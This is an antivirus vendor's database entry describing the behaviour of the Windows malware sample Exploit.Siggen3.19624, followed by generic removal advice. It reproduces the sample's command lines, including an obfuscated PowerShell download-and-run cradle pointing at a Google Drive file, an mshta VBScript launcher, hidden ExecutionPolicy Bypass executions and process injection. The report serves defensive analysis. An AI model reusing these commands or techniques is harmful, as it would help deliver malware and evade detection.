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Exploit.Siggen3.19624

Added to the Dr.Web virus database: 2021-08-08

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • %ALLUSERSPROFILE%\microsoft arts\start\love.lnk
  • %ALLUSERSPROFILE%\microsoft arts\start\windows.lnk
Malicious functions
Executes the following (exploit)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`#))=+_)#&#t`.W`e'.Replace('#))=+_)#&#','w-Object Ne');$alosh='bC%%#&/%nlo'.Replace('%%#&/%','lient).Dow'); $Dont='adString(''https://drive.google.com/uc?export=download&id=1nzT...
Injects code into
the following system processes:
  • %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Modifies file system
Creates the following files
  • C:\users\public\alosh.ps1
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\osprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\smiprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\transmogprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\unattendprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\wimprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\folderprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\intlprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\logprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\msiprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\osprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\smiprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\transmogprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\unattendprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\wimprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\wdscore.dll
  • C:\users\public\love.bat
  • C:\users\public\msynci.ps1
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\msiprovider.dll.mui
  • C:\users\public\love.lnk
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\logprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\folderprovider.dll.mui
  • C:\users\public\run.ps1
  • C:\users\public\test.ps1
  • C:\users\public\vb.vbs
  • C:\users\public\chrome.vbs
  • %WINDIR%\logs\dism\dism.log
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\cbsprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\compatprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismcore.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismcoreps.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismhost.exe
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismprov.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dmiprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\cbsprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\compatprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\dismcore.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\dismprov.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\dmiprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\intlprovider.dll.mui
  • %APPDATA%\microsoft\windows\templates\windows.lnk
Deletes the following files
  • C:\users\public\chrome.vbs
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\osprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\smiprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\transmogprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\unattendprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\wimprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\logprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\msiprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\folderprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\msiprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\osprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\smiprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\transmogprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\unattendprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\intlprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\logprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\intlprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\folderprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\dmiprovider.dll.mui
  • C:\users\public\run.ps1
  • C:\users\public\test.ps1
  • C:\users\public\vb.vbs
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\cbsprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\compatprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismcore.dll
  • C:\users\public\alosh.ps1
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismcoreps.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismprov.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dmiprovider.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\cbsprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\compatprovider.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\dismcore.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\en-us\dismprov.dll.mui
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismhost.exe
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\wdscore.dll
  • %TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\wimprovider.dll
Network activity
Connects to
  • 'do#########ocs.googleusercontent.com':443
  • 'ne#.###ya2020.com.ly':2020
TCP
Other
  • 'do#########ocs.googleusercontent.com':443
UDP
  • DNS ASK do#########ocs.googleusercontent.com
  • DNS ASK ne#.###ya2020.com.ly
Miscellaneous
Searches for the following windows
  • ClassName: 'MS_AutodialMonitor' WindowName: ''
  • ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
  • '<SYSTEM32>\wscript.exe' "C:\Users\Public\Chrome.vbs"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1
  • '<SYSTEM32>\wscript.exe' "C:\Users\Public\vb.vbs"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1
  • '%TEMP%\fc0bee79-167b-4410-9931-f4fc51bb91a2\dismhost.exe' {BB6F2AB9-6ED8-402B-BB95-EFBB0E666450}
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Bypass C:\Users\Public\msynci.ps1
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $NOTHING = '(N`e`#))=+_)#&#t`.W`e'.Replace('#))=+_)#&#','w-Object Ne');$alosh='bC%%#&/%nlo'.Replace('%%#&/%','lient).Dow'); $Dont='adString(''https://drive.google.com/uc?export=download&id=1nzT...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps1' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps1' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps1' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nologo -ExecutionPolicy Bypass C:\Users\Public\msynci.ps1' (with hidden window)
Executes the following
  • '<SYSTEM32>\dism.exe' /online /enable-feature /featurename:NetFX3
  • '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\love.bat" "
  • '<SYSTEM32>\mshta.exe' vbscript:(CreateObject("WSCrIPt.ShEll")).Run("powershell.exe -nologo -ExecutionPolicy Bypass C:\Users\Public\msynci.ps1",0)(window.close)
  • '%WINDIR%\microsoft.net\framework\v2.0.50727\aspnet_compiler.exe'
  • '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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